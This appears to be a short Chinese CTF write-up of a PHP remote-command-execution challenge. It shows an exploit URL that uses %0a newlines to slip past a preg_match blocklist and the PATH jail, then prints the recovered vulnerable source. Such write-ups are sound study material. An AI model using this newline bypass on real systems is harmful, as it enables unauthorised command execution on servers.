
但是过滤了一些内容: . | * 等。
加了一个%0a居然就绕过了??
并且还需要/bin/cat 不知道为什么???
http://4a4f1179-aff7-4ece-b4ec-e078856ff437.node4.buuoj.cn:81/?cmd={%0a "cmd":"/bin/cat ./index.php" %0a}
获得代码如下:
<?php
putenv('PATH=/home/rceservice/jail');
if (isset($_REQUEST['cmd'])) {
$json = $_REQUEST['cmd'];
if (!is_string($json)) {
echo 'Hacking attempt detected<br/><br/>';
} elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) {
echo 'Hacking attempt detected<br/><br/>';
} else {
echo 'Attempting to run command:<br/>';
$cmd = json_decode($json, true)['cmd'];
if ($cmd !== NULL) {
system($cmd);
} else {
echo 'Invalid input';
}
echo '<br/><br/>';
}
}
?>
putenv('PATH=/home/rceservice/jail');
这里为了避免调用系统命令,就可以临时改环境变量
指定了一个环境变量,也就是cat这个命令是不能直接用的,因为环境变量临时被修改了,所以必须用/bin/cat才可以。
第二个就是preg_match()这个函数,它有个特性就是只对第一行正则匹配,可以利用这个特性绕过
%0A是换行符。
58、60都是用换行符%0A来绕过 preg_match()的!!!
文章描述了一段PHP代码,展示了如何通过设置环境变量和利用preg_match函数的特性来绕过安全检查,执行系统命令。主要内容涉及环境变量修改、%0A换行符绕过和PHP编程中的安全实践。

被折叠的 条评论
为什么被折叠?



